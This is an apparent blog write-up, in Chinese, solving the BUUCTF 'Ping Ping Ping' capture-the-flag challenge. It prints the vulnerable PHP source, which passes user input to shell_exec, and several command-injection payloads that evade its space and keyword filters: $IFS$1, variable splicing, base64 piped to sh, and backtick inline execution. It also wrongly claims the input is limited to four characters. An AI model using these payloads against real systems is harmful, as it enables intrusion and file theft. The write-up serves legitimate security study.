BUUCTF [GXYCTF2019]Ping Ping Ping 1

[GXYCTF2019]Ping Ping Ping 1

在本题我们考察的是命令执行

已进入本关,我们发现他在询问 ?ip

我们先尝试输入

?ip=127.0.0.1

发现访问成功

查询一下它的目录:

?ip=127.0.0.1|ls

发现有两个文件夹flag.php,index.php,发现 flag 我们尝试访问 flag。

?ip=127.0.0.1|cat flag.php

点击查询,页面回显 fxck your space
很明显我们需要进行一个空格的过滤

空格过滤常见绕过注释:

< > %20(space), %09(tab), $IFS$1

输入之后

?ip=127.0.0.1|cat<flag.php

发现:
在这里插入图片描述

可以知道,在本题它还过滤了 符号

所以我们换一种 空格的过滤方法:


?ip=127.0.0.1|cat$IFS$1flag.php

在这里插入图片描述

坏了,它把flag都给过滤了,已经没有什么好的办法了,只能先尝试访问一下前面的 index.php

?ip=127.0.0.1|cat$IFS$1index.php

在这里插入图片描述

访问源码:

<?php
if(isset($_GET['ip'])){
  $ip = $_GET['ip'];
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "<pre>";
  print_r($a);
}

?>

源代码告诉我们 如果我们输入的 ip是存在的话,那么 ip=ip,并且会进行一个正则匹配(黑名单过滤),并且如果我们构造的payload中有 空格 页面就会返回一个 fxck your space ,如果我们构造的payload中有 bash 页面就会返回一个 fxck your bash…

什么是bash:

要想了解bash,就要先知道什么是shell:
首先,shell是一个程序,提供用户与电脑对话的环境(环境唯一:命令提示符又称为命令提示符)。shell可以接收到用户输入的命>令,将命令送入操作系统进行执行,并发布会结果。
再着,shell也可以作为一个命令解释器,就是我们常说的脚本。它支持变量,条件判断,循环操作等语法,所以我们可以用shell来>写出各种小程序(脚本)
而bash就是shell的脚本类型之一(还有sh csh tcsh 等),bash是目前最常用的shell。进入命令环境以后,一般就打开了bash了 我>们可以使用bash命令来构造shell来查找flag,本关虽然黑掉了bash 但我们还有 sh 用!!! 哈皮
if完之后,我们会遇见一个命令函数 shell_exec("ping -c 4 ".$ip)

if完之后,我们会遇见一个命令函数 shell_exec("ping -c 4 ".$ip),换句话说我们只能输入四个字符

shell_exec — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。

shell_exec(string $cmd): string

exec 是 Shell 内置命令,它有两种用法,一种是执行 Shell 命令,一种是操作文件描述符

ping -c Count 指定要被发送(或接收)的回送信号请求的数目,由 Count 变量指出

之后输出<pre>(输出原代码),并且将变量 a 所表示的数据给打印出来,如果我们令 $a=g;那么就可以巧妙的饶过falg的黑名单

构造:

?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

查看页面源代码,发现flag。
在这里插入图片描述
当然这里还有别的办法例如借用sh来构造shell 对cat flag.php进行base编码---->Y2F0IGZsYWcucGhw(这里bash被黑名单过滤了,不然也可以使用)

?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

还有一种大佬操作,是我查询博客才了解的

内联执行 (真·大佬操作,小弟只有膜拜的份儿)

ip=127.0.0.1;cat$IFS$9`ls`

​ 注:内联,就是将反引号内命令的输出作为输入执行。

  • 5
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值